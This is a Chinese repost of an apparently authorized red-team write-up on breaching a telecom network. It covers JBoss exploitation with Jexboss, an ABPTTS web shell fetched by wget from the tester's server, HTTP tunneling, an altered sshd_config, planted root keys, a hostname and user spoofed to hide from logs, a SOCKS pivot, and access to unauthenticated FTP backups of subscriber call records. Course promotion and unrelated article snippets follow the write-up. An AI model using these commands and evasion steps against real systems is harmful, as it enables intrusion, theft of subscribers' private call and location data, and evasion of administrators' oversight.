我是如何渗透电信网络的

news2024/9/22 21:17:49

TLDR;作为一个电信公司的红队,从该公司的网络监控系统(NMS)获得一个立足点。通过基于HTTP协议的SSH隧道解决了Shell反连问题。通过HTTP获得SSH连接时,使用了Ninja。搭建代理以进行内部网络扫描。使用SS7应用程序访问CDR和VLR。

由于信息的敏感性,本文很多信息均已打码。

介绍

不久前,我正在为一个客户进行红队渗透测试。甲方爸爸是一家电信公司,要求我进入到内网,控制该电信网络的呼叫数据记录(CDR)。如果您不知道CDR是什么,下面是它的定义(从Wikipedia中无耻地复制而来):

呼叫详细记录(CDR)是由电话交换或其它电信设备所产生的数据记录的文档,记录了通过电话呼叫或其它电信传输(例如,文本消息)的细节信息。该记录包含呼叫的各种属性,例如时间,持续时间,完成状态,源号码和目的地号码。

在我所有的渗透测试中,这次经历的重要性可以占有一席之地。获得最初的立足点太容易了(通过一个简单的网络服务漏洞来获得RCE),但是问题在于维持稳定的shell。

第一部分:获取RCE

本文章(而不是教程)会分享我从**远程代码执行(RCE)**到代理内部网络扫描的经验。

侦察

每个道德黑客/渗透测试人员/漏洞赏金猎人/红队成员都知道侦察的重要性。“给我六个小时砍下一棵树,我将用头四个时间削斧头(emmm,就是磨刀不误砍柴工啊)”这话说得太对了。侦察范围越广,就越有利于渗透。

因此,对于RTE而言,有效的信息侦察包括:DNS枚举,ASN和BGP查找,来自多个搜索引擎的一些被动侦察,检查GitHub、BitBucket、GitLab等源代码库(上面很多意外之喜),如果找不到RCE,则对员工进行OSINT信息搜集,以实施鱼叉式网络钓鱼攻击。(所言并非妄语,欺骗员工下载并执行恶意文档其实很容易,当然,前提是您得搞定AVs和垃圾邮件过滤器

当对一个特定组织进行网络侦察,有很多种方法。就我而言,我喜欢从DNS枚举开始。

aiodnsbrute -v -t 7000 — no-verify -w dns-list.uniq.lst ******.com.** | grep -v Timeout | grep -v Misformatted | grep -v exception

img

有趣的事实:我使用的字典有277万条DNS记录。
大多数赏金猎人会为找到的所有子域名寻找80或443端口。问题是,有时为了安全起见,最好全端口扫描一次。以我为例,我发现了一个子域名e[REDACTED]-nms.[REDACTED].com.[REDACTED],经过全端口扫描后,发现了一些有趣的结果。

img

端口12000和14000没啥特别,但是14100就很有意思了,简直捡到宝了!

img

J-Fuggin-Boss !!

远程代码执行

从这里开始,每个利用过臭名昭著的JBoss漏洞的人都知道事情将如何发展。对于新手,如果您没有JBoss开发的经验,则可以查看以下链接来了解这个漏洞:

JBoss:您进入企业网络的桥梁
hacking_and_securing_jboss

对于Jboss渗透,可以使用Jexboss。该工具包含许多方法和渗透技术,还涵盖了Application和Servlet反序列化和Struct2漏洞利用。您也可以使用Metasploit来渗透JBoss。说一千道一万,我还是更喜欢使用Jexboss。

继续渗透,jexboss命令如下:

./jexboss.py -u http://[REDACTED]:14100/

img

从上面的屏幕截图可以看出,该服务器存在漏洞。然后,使用JMXInvokerServlet方法,可以在服务器上执行远程代码。是不是觉得相当无脑?

img

所以观众朋友们一定以为我在水文了

往下看就行!

现在既然有了立足点,实际的问题出现了。当然,像往常一样,一旦有了RCE,我就尝试建立反向shell。

img

结果还真的反连成功了!

img

但是,shell很不稳定,几秒钟后python进程就被杀死了。我尝试了使用其他的一句话反连payload,试了不同的通用端口,甚至试了UDP,但都无功而返。我还尝试了不同形式的reverse_tcp/http/https Metasploit payload来获得Meterpreter连接,但无一例外都在几秒钟后断开了连接。

我以前曾经遇到过类似的情况,并且我总是问如果我无法获得反向shell连接,该怎么办?

通过HTTP隧道输入绑定shell连接!

现在,当我尝试获得稳定的反连shell时,我失败了。我想到的另一个想法是获取一个监听类型的shell(bind shell,出于稳定性通过HTTP协议获得SSH隧道),而不是基于HTTP 的反连 shell(HTTP上的TCP隧道)。

HTTP上的TCP隧道(用于实现TCP稳定)+ SSH隐形连接(通过创建的TCP隧道)+ 内网使用Metasploit的SOCKS隧道(动态SSH隧道)=通过这些递归隧道渗透内网来获取数据。

看起来很复杂?让我们将其分为多个步骤:

1. 首先,我在服务器和NMS服务器之间创建了一个网桥,它支持除HTTP/HTTPS以外的其他协议的通信(目前暂不提供L2)[ HTTP上的TCP隧道 ]
2. 创建网桥(HTTP上的TCP隧道)后,建立从我的服务器(2222/tcp)到NMS服务器(22/tcp)的SSH端口转发,以便可以基于HTTP通过SSH连接到NMS服务器。(准确地说,是通过HTTP协议上的TCP连接中的SSH)注意:NMS服务器上的SSH服务运行在127.0.0.1上
3. 然后,将NMS SSH服务器配置为允许root登录并生成SSH私钥(将我的公钥复制到`authorized_hosts`文件),以便通过SSH访问NMS服务器。
4. 我使用私钥检查了与NMS服务器的SSH连接,连接建立后,创建了一个动态SSH隧道(SOCKS),以便通过SSH隧道代理Metasploit(准确地说,是通过HTTP协议上的TCP连接中的SSH隧道来代理Metasploit)(十分之拗口,我崩溃了……)。

我会逐步介绍如何创建隧道以及如何使用它们。

隧道101

隧道协议是一个通信协议,允许数据从一个网络传输到另一个网络。允许通过封装跨专用网络(例如Internet)发送专用网络通信。因为隧道化涉及将流量数据重新打包为另一种形式(也许以加密为标准),所以它可以隐藏其本身通过隧道传输流量的性质。
隧道协议通过使用数据包的数据部分(payload)来承载实际提供服务的数据包。隧道使用分层协议模型(例如OSI或TCP / IP协议的分层协议模型)。但是,使用payload来承载网络通常不提供的服务时,通常会违反分层协议。通常,传输协议在分层模型中的操作级别与payload协议的相同或比它更高。
资料来源:维基百科

因此,基本的想法是使用Web服务器作为中间代理,将所有网络数据包(TCP数据包)从Web服务器转发到内网。

img

使用HTTP协议通过Web服务器将TCP数据包转发到内部网络

TCP隧道可以在端口访问受限和出口流量过滤的情况下能给我们提供很多便利。本次渗透倒没有被过滤流量,但是我使用了这种技术主要用来获得稳定的shell连接。

现在,我已经在服务器上具有RCE,并且具有root权限,于是使用ABPTTS创建了一个基于JSP的shell。

通往内网的康庄大道:ABPTTS

如GitHub中所述:

ABPTTS使用Python客户端脚本和Web应用程序服务器页面/程序包,通过HTTP / HTTPS连接到Web应用程序服务器,从而建立TCP流量隧道。

当前,此工具仅支持JSP/WARASP.NET服务器端组件。

因此,基本思路是使用ABPTTS创建基于JSP的shell并将其上传到Web服务器,让该工具与JSP Shell连接,并通过HTTP创建TCP隧道,从而在本地与服务器之间创建一个安全的连接(SSH) 。

python abpttsfactory.py -o jexws4.jsp

img

当使用ABPTTS生成shell时,该工具将创建一个配置文件,用来通过HTTP/HTTPS创建TCP隧道。

img

然后,我使用wget将JSP Shell上传到服务器。注意:jexws4.war shell是Jexboss的软件包。当您通过Jexboss利用JBoss漏洞时,该工具会将自己的WAR shell上传到服务器。就我而言,我只是试图找到此WAR/JSP shell(jexws4.jsp)并将其替换为ABPTTS shell。

wget http://[MY SERVER]/jexws4.jsp -O <location of jexws4.jsp shell on NMS server>

img

将ABPTTS shell上传到服务器后,在Jexboss上执行随机命令来查看结果输出。现在,Jexboss shell已被ABPTTS shell覆盖,无论我执行了什么命令,由于ABPTTS shell的原因,输出始终是哈希值,如下图所示。

img

从上图可以看到,当我执行id命令时,我得到了一个奇怪的哈希值,证明ABPTTS shell成功上传!

现在,我已经在HTTP上配置了TCP隧道,接下来我要做的是在NMS服务器22端口建立SSH隧道,并将端口绑定到我的系统(对应2222端口)。这样我就可以通过SSH连接到NMS。

img

通过HTTP上的TCP隧道进行SSH端口转发(尚未建立隧道)

下一步准备端口转发,以便可以使用本地2222端口访问NMS服务器上的22端口。

python abpttsclient.py -c <配置文件的位置> -u <ABPTTS shell URL> -f 127.0.0.1:2222/127.0.0.1:22

img

如下图所示,本地服务器的2222端口处于LISTEN状态。

img

下一件事是配置SSH服务器以连接到NMS并启动动态SSH隧道(SOCKS),以进一步利用网络。

SSH隐蔽访问

连接到SSH服务器后,连接信息将保存在一个日志文件中。要查看这些连接的详细信息,可以在Unix系统中执行w命令。

在许多类似Unix的操作系统中,命令w提供了每个登录到计算机的用户的快速摘要、每个用户当前正在执行的操作以及所有活动对计算机本身造成的负担。该命令是Unix程序中其他几个单命令的组合:whouptimeps -a。资料来源:维基百科

因此,从根本上来说,源IP信息被该系统保存了,这对于红队队员来说是危险的。由于这是RTE,因此我一定不能让管理员知道我的C2位置。(不用担心,我使用的ABPTTS shell是从服务器连接的,并且我已经购买了一个域名用来实施IDN Homograph攻击,以减少踪迹泄露的机会)

img

为了使隐蔽连接正常工作,我查看了hosts文件以收集更多信息,发现该服务器在网络内部的使用率很高。

img

这样的服务器已经受到监视,因此我的动静必须尽可能小。NMS服务器监视的应该是与该服务器之间的所有网络连接。这意味着我无法通过HTTP的TCP隧道使用普通端口进行扫描。

**那如果使用SSH将我的服务器和NMS服务器之间的通信进行加密呢?**但是对于SSH连接,我的主机名和IP信息将被存储在日志文件中,并且用户名也容易暴漏。

我的服务器用户名为“ harry”,如果为此用户生成一个密钥并将其存储在authorized_keys文件中的话,并不是一个好的选择。

然后,想到了一个主意:

1. 在我的服务器上创建用户“ nms”(该用户已在NMS服务器中创建)。
    2. 将我的服务器的主机名从OPENVPN 更改为[REDACTED]_NMS[REDACTED]。(与NMS服务器相同)
    3. 为我的服务器上的“ nms”用户生成SSH密钥,并将公共密钥复制到NMS服务器中。(authorized_keys)
    4. 配置运行在NMS上的SSH服务器(以启用root权限登录PermitRootLogin)、TCP端口转发和网关端口。(即SSH -g开关)
    5. 将NMS服务器配置为充当内网探测的SOCKS代理。(动态SSH隧道)
    6. SOCKS隧道现在已加密,我可以使用此隧道利用Metasploit进行内网扫描。

开始行动

首先,我首先在服务器上添加用户nms,以便可以生成用户特定的SSH密钥。

img

我甚至更改了服务器的主机名,使其与NMS服务器的主机名完全相同,因此当我使用SSH登录时,日志将显示用户登录条目为nms@[REDACTED]_NMS[REDACTED]

img

接下来,我在本地服务器上为“ nms”用户生成了SSH密钥。

img

除此之外,还必须更改NMS服务器上的SSH配置,因此我从服务器下载了sshd_config文件,并更改了其中的一些内容。

img

**AllowTCPForwarding:**此选项用于启用TCP端口转发。
**GatewayPorts:**此选项用于启用端口,该端口绑定到远程端口上的接口(回环除外)。(我启用了此选项,是为了此服务器上其他内部系统的反连shell能够通过反向端口转发将shell转发回本地)

img

PermitRootLogin:此选项允许客户端使用“ root”权限连接到SSH服务器。
StrictModes:此选项指定SSH在接受登录之前,是否应检查用户在其主目录中的权限。

现在配置已完成,我迅速将sshd_config文件上传(更像是覆盖)到NMS服务器。

img

而且我还将SSH公钥复制到“ root”用户的authorized_keys文件中。

img

设置完所有内容后,我随后尝试了一个测试连接,看看能否在NMS服务器上使用“ root”来执行SSH!

img

额滴天鹅,成功了。

通过HTTP连接的TCP隧道的SSH(基于ABPTTS Shell(JSP)的通过HTTP连接创建的TCP隧道上的SSH端口转发)。。。。(能不能再拗口点!!!)

动态端口转发(动态SSH隧道)

让我们看看维基百科是怎么定义的

动态端口转发(DPF)是一种通过使用防火墙针孔遍历防火墙或NAT的按需方法。目的是使客户端能够安全地连接到受信服务器,该受信服务器充当中介,目的是向一个或多个目标服务器发送/接收数据。
DPF可以通过将本地应用程序(例如SSH)设置为SOCKS代理服务器来实现,用于处理通过网络或Internet的数据传输。
建立连接后,可以使用DPF为连接到不受信任网络的用户提供额外的安全性。由于数据必须先通过安全隧道到达另一台服务器,然后再转发到其原始目的地,因此可以保护用户免受LAN上数据包嗅探的影响。

因此,我要做的就是创建一个动态SSH隧道,让NMS服务器可以充当SOCKS代理服务器。使用SOCKS隧道的一些好处:

1. 通过NMS服务器间接访问其他网络设备/服务器(**NMS服务器成为我的网关**)
2. 由于使用了**动态SSH隧道**,所有从本地服务器到NMS服务器的流量都已加密(使用SSH连接)
3. 即使服务器管理员坐在NMS服务器上并监视网络,他也无法立即找到根本原因。(敬业的管理员可能会发现蛛丝马迹)
4. 连接是稳定的(使用HTTP 的原因),现在所有这些递归隧道都可以顺利运行,因为通过HTTP实现的TCP隧道非常稳定。

当我通过SSH登录到NMS服务器时,这是’w’命令显示的内容:

img

现在,我要做的就是创建SOCKS隧道,使用以下命令:

ssh -NfCq -D 9090 -i <private key/identity file> <user@host> -p <ssh custom port>

img

基于这个原因,sshd_config文件中的“PermitRootLogin参数已被更改(以root权限登录到NMS服务器)。

担心服务器管理员会对设置有怀疑?通常,当打开SSH连接时,服务器管理员有时会检查登录的用户名和用于登录的授权密钥,但在大多数情况下,他会检查发起连接的主机名/IP。

就我而言,我使用2222端口(由于HTTP上的TCP隧道)从地址为127.0.0.1的服务器启动了连接,目标地址为127.0.0.1NMS服务器。现在,由于有了此设置,他所看到的只是由NMS服务器到NMS服务器的SSH连接,该连接使用存储为用户nms的授权密钥(公共密钥)(这就是为什么我在主机上创建相同用户以生成密钥),即使管理员检查了known_hosts文件,他所看到的只是nms@[REDACTED]_NMS[REDACTED]用户已连接到SSH,其IP为127.0.0.1,而该ip早已存在于NMS中的用户配置文件中。

为了确认SOCKS隧道,我检查了本地服务器上的连接表,端口9090/tcp处于LISTEN状态。

img

很棒!SOCKS隧道已准备就绪!

专业提示!

通过SSH连接到服务器时,将自动分配伪TTY。当然,当您通过SSH(单线)执行命令时,不会发生这种情况。因此,每当您想通过SSH建立隧道或创建SOCKS隧道时,请尝试使用-T选项禁用伪TTY分配。您还可以使用以下命令:

ssh -NTfCq -L <local port forwarding> <user@host>
ssh -NTfCq -D <Dynamic port forwarding> <user@host>

img

要检查所有SSH交换机,您可以参考SSH手册(强烈推荐!)。当使用交换机创建隧道时(如上所示),您可以创建一个无需分配TTY的隧道,并且隧道端口可以正常工作!


在上一部分中,我提到了使用本地服务器2222端口创建SSH隧道进行隐身SSH访问时的步骤。本部分将展示如何使用SOCKS隧道进行内网侦察,以及如何渗透内部服务器来访问存储在服务器中的CDR。

内网情况

在参与过程中,通过HTTP上的TCP隧道创建一个动态SSH隧道,这样的shell就很nice!

img

接着在9090端口上配置了SOCKS隧道,然后通过代理使用NMap进行扫描。

img

与NMap相比,Metasploit的扫描覆盖范围更大,并且更能够轻松管理内网IP扫描。为了对所有模块使用代理,设置setg Proxies socks4:127.0.0.1:9090命令(全局设置代理选项)。使用了auxiliary/scanner/http/http_version模块来寻找内网服务器。

img

由于使用了setg命令设置了Proxies选项,现在要做的只是提供IP子网范围并运行该模块。

img

我找到了一些远程管理控制器(iRMC),一些SAN交换机(switchExplorer.html)和一个JBoss实例……

内部还有另一个JBoss实例吗?

渗透内网

因此,在内部IP http://10.xxx的80端口上运行了另一个JBoss实例,因此,我要做的就是使用代理链并在内网IP上再次运行JexBoss(我也可以在JexBoss中使用-P选项来提供代理地址)。

该JBoss服务器很easy也攻下了。因此,我能够从我的关键机器(初始立足机器)获得RCE到下一个内部JBoss服务器。

获得shell之后,使用以下命令获取/home/<user>位置下的所有文件和目录:

cd /home/<user> | find . -print | sed -e “s;[^/]*/;|_ _ _ _;g;s;_ _ _ _|; |;g” 2>&1

img

输出结果发现一个有趣的.bat文件:ss7-cli.bat(该脚本配置了SS7命令行管理程序引导环境)

在同一台内部JBoss服务器中,还存储了一个访问者位置寄存器(VLR,Visitor Location Register)控制台客户端应用程序,方便从数据库访问VLR信息。

img

什么是SS7?

№7信令系统(SS7)是1975年开发的一组电话信令协议,用于在世界范围内的公共交换电话网(PSTN)的大部分地区建立和断开电话呼叫。该协议还执行号码转换、本地号码可携带性、预付费计费、短消息服务(SMS)等其他服务。资料来源:维基百科

为了监视SS7/ISDN链接、解码协议标准并生成CDR以进行计费,需要一个控制台客户端,该客户端与系统进行交互。
您可能会问,为什么JBoss上运行着一个SS7客户端应用程序?一个字:Mobicents

Mobicents

Mobicents是一个用Java编写的开源VoIP平台,可帮助创建、部署、管理服务和应用程序,这些服务和应用程序可跨一系列IP和传统通信网络集成语音、视频和数据。资料来源:维基百科
Mobicents支持服务构建模块(SBB,Service Building Blocks)的组合,例如呼叫控制,计费,用户供应,管理以及与状态相关的功能。这使Mobicents服务器成为电信运营支持系统(OSS)和网络管理系统(NMS)的便捷选择。资料来源:http://design.jboss.org

因此,看起来该JBoss服务器正在运行VoIP网关程序(SIP服务器),该应用程序正在使用SS7与公共交换电话网(PSTN)进行交互。(在没有任何类型的网络体系拓扑图的情况下,了解内网结构真是累死个人)

更进一步

当我在运行VoIP网关的内网JBoss程序中进行更多信息侦察时,发现有一些内部网关服务器,CDR备份数据库,存储了SS7和USSD协议备份配置的FTP服务器等(感谢/etc/hosts

img

从hosts文件中,我发现了很多FTP服务器,这些服务器起初我并不觉得很重要,但是后来我发现了CDR-S和CDR-L FTP服务器。这些服务器分别存储备份的CDR S-Records和CDR L-Records。

使用Metasploit,我快速扫描了这些FTP服务器,检查它们的身份验证状态。

img

无需任何身份验证即可访问FTP服务器

也许FTP服务器已被VoIP应用程序或其他程序当作内部专用,但捡着就是宝,不用白不用!

因此,我能够访问几乎所有移动订户以XLS格式存储的CDR备份。(由于是非常重要的信息,这里不得不马赛克)

img

上图中,A Number是呼叫始发地(呼叫方),B Number是所拨打的号码。CDR记录还包括IMSI和IMEI号码,呼叫开始/结束日期和时间戳,呼叫持续时间,呼叫类型(呼入或呼出),服务类型(电信服务公司),Cell ID-A(来自此处的Cell Tower)呼叫始发和Location-A(呼叫者的位置)

当我们的团队询问客户有关我们对CDR备份服务器的访问权限时,客户便要求我们在此处结束我们的合作。我想他们可能接受不了这样的结果

the end

PS.原博主是分了四篇文章介绍这个过程的,我把它合成一篇了。

原文链接:
https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-1-getting-the-rce-167c2bb320e6
https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-2-playing-with-tunnels-tcp-tunneling-b4cef2837938
https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-3-playing-with-tunnels-stealthy-ssh-dynamic-tunnels-5ac26557d0eb
nels-tcp-tunneling-b4cef2837938](https://link.zhihu.com/?target=https%3A//medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-2-playing-with-tunnels-tcp-tunneling-b4cef2837938)
https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-3-playing-with-tunnels-stealthy-ssh-dynamic-tunnels-5ac26557d0eb
https://medium.com/@TheCyb3rAlpha

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1910978.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

斯坦福大学博士在GitHub发布的漫画机器学习小抄,竟斩获129k标星

斯坦福大学数据科学博士Chris Albon在GitHub上发布了一份超火的机器学习漫画小抄&#xff0c;发布仅仅一天就斩获GitHub榜首标星暴涨120k&#xff0c;小编有幸获得了一份并把它翻译成中文版本&#xff0c;今天给大家分享出来&#xff01; 轻松的画风配上让人更容易理解的文字讲…

瑞萨RH850 RTC计时进位异常

RH850 MCU的RTC&#xff08;实时时钟&#xff09;采用BCD&#xff08;二进制编码的十进制&#xff09;编码格式&#xff0c;支持闰年自动识别&#xff0c;并具有秒、分、时、日、周、月、年的进位功能。其中&#xff0c;秒和分为60进位&#xff0c;时为12或24进位&#xff0c;周…

救生拉网的使用方法及注意事项_鼎跃安全

水域救援在夏季尤为重要&#xff0c;随着气温的升高&#xff0c;人们更倾向于参与水上活动&#xff0c;如游泳、划船、垂钓等&#xff0c;这些活动虽然带来了乐趣和清凉&#xff0c;但同时也增加了水域安全事故的风险。救生拉网作为水域安全的重要工具之一&#xff0c;其重要性…

Vue3 pdf.js将二进制文件流转成pdf预览

好久没写东西&#xff0c;19年之前写过一篇Vue2将pdf二进制文件流转换成pdf文件&#xff0c;如果Vue2换成Vue3了&#xff0c;顺带来一篇文章&#xff0c;pdf.js这个东西用来解决内网pdf预览&#xff0c;是个不错的选择。 首先去pdfjs官网&#xff0c;下载需要的文件 然后将下载…

前端入门知识分享:如何在HTML或CSS文件中引用CSS文件。

阅读提示&#xff1a;本文仅仅仅适用于刚刚接触HTML和CSS的小白从业者&#xff0c;新人爱好者。自觉身份不符的老鸟们&#xff0c;尽快绕行吧&#xff01; 什么是CSS&#xff1f;什么是CSS文件。 CSS&#xff0c;全称为Cascading Style Sheets&#xff08;层叠样式表&#xff…

数字化时代下,财务共享数据分析建设之路

随着人工智能、云计算、大数据、区块链等技术&#xff0c;以及衍生出的各种产品的大发展&#xff0c;使得数字化发展的速度再一次加快&#xff0c;也让数字经济和数字化转型得到了更多人的关注和认可。 在传统经济增长逐渐放缓&#xff0c;市场竞争愈发激烈的局面下&#xff0…

解决虚拟机文件因快照占用硬盘空间较多的情况(压缩虚拟机文件,节省硬盘空间)

在使用虚拟机(Wmware)中&#xff0c;我们经常会在需要的时候拍摄虚拟机快照&#xff0c;尤其是虚拟机运行时的快照&#xff0c;动辄几个G&#xff0c;容易占满硬盘空间&#xff0c;那么有什么方法能够压缩虚拟机文件呢 下面是压缩后的存放虚拟机的文件夹 可以看到节约了大约2…

Banana Pi BPI-F3开发板支持OpenWrt

Banana Pi BPI-F3开源硬件开发板支持OpenWrt了。 基于原生OpenWrt 23.05集成Spacemit Stone 系列芯片的 BSP&#xff0c;包含监管程序接口&#xff08;OpenSBI&#xff09;、引导加载程序&#xff08;U-Boot/UEFI&#xff09;、Linux 内核、根文件系统&#xff08;包含各种中间…

安防视频监控/云存储/视频汇聚EasyCVR平台播放设备录像不稳定,是什么原因?

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;EasyCVR基于云边端一体化架构&#xff0c;具有强大的数据接入、处理及分发能力&#xff0c;可提供7*24小时实时高清视频监控、云端录像、云存储、录像检索与回看、智能告警…

【微信小程序开发实战项目】——个人中心页面的制作

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

hash

哈希 key->value&#xff0c;借助离散化的思想对数据进行映射&#xff0c;可视为用value代表原本的key 在C中&#xff0c;可使用map当做哈希表使用&#xff0c;将std::hash当做哈希函数使用 hash<Typename>name; size_t valuename(key);数字哈希 哈希函数的设计 方…

更亮更好听的户外耳机,下班之后畅快运动,哈氪聆光体验

在当今市场上&#xff0c;蓝牙耳机种类繁多&#xff0c;现在正值酷热的夏季&#xff0c;有必要准备一副适合户外活动的蓝牙耳机&#xff0c;对此&#xff0c;我觉得气传导耳机更适合在户外锻炼或散步时使用。这种耳机设计通常为后挂式&#xff0c;不仅佩戴舒适&#xff0c;而且…

08-《含笑》

含 笑 含笑花 拉丁文名&#xff1a;Michelia figo &#xff08;Lour.&#xff09;Spreng。常绿灌木&#xff0c;高2-3米&#xff0c;树皮灰褐色&#xff0c;分枝繁密&#xff1b;叶革质&#xff0c;狭椭圆形或倒卵状椭圆形&#xff0c;花期3-5月&#xff0c;果期7-8月。原产中国…

逆向分析之电脑端如何调试一些只能手机端浏览器才可以打开的网站

手机端浏览器的指纹和电脑端浏览器的指纹是不同的,这样只在手机端浏览器运行的网站则可以检测网站是否满足手机端浏览器指纹的要求,不满足则可以进行一些反爬措施。 例如一些公众号,其实就是使用手机端浏览器打开的H5网站,就可以进行手机端浏览器指纹检测。 这里只是讲解下…

表单自定义组件 - 可选择卡片SelectCard

import React from react; import styles from ./index.module.less;type OptionsType {/*** 每个item渲染一行&#xff0c;第0项为标题*/labels?: any[];/*** 自定义渲染内容*/label?: string | React.ReactNode;value: any; }; interface IProps {value?: any;onChange?…

轻空间气膜做了多少项目?

轻空间作为气膜建筑领域的领导者&#xff0c;凭借其卓越的技术和创新的设计&#xff0c;在国内外完成了众多具有代表性的项目。以下是部分轻空间在各个领域中取得的辉煌成绩&#xff0c;展示了其在气膜建筑领域的领先地位和专业能力。 深汕特别合作区气膜羽毛球馆 深汕特别合作…

在任何岗位都可以把自己当成一个项目经理

这几天跟一个刚入职场的姐妹交流的时候&#xff0c;她问了我一个问题&#xff0c;如果让你总结三年从助理升到经理的关键点&#xff0c;你觉得是什么&#xff1f;我思考了那么几秒钟&#xff0c;大概就是——在任何岗位都把自己当项目经理。 今天给大家介绍我的项目管理工具——…

[从0开始轨迹预测][NMS]:NMS的应用(目标检测、轨迹预测)

非极大值抑制&#xff08;Non-Maximum Suppression&#xff0c;简称NMS&#xff09;是一种在计算机视觉中广泛应用的算法&#xff0c;主要用于消除冗余和重叠的边界框。在目标检测任务中&#xff0c;尤其是在使用诸如R-CNN系列的算法时&#xff0c;会产生大量的候选区域&#x…

基于Spring Boot的旅游信息推荐信息系统设计与实现(源码+lw+部署+讲解)

技术指标 开发语言&#xff1a;Java 框架&#xff1a;Spring BootJSP JDK版本&#xff1a;JDK1.8 数据库&#xff1a;MySQL5.7 数据库工具&#xff1a;Navicat16 开发软件&#xff1a;IDEA Maven包&#xff1a;Maven3.6.3 浏览器&#xff1a;IE浏览器 功能描述 旅游信…

怎么压缩ppt?这几种压缩方法大家都在用!

怎么压缩ppt&#xff1f;当我们沉浸在PPT创作的海洋中&#xff0c;每一个精心的布局、每一个动人的动画&#xff0c;都仿佛是我们心血的结晶&#xff0c;然而&#xff0c;随着我们不断雕琢&#xff0c;PPT文件的大小也在悄然增长&#xff0c;如同一只隐形的巨兽&#xff0c;在不…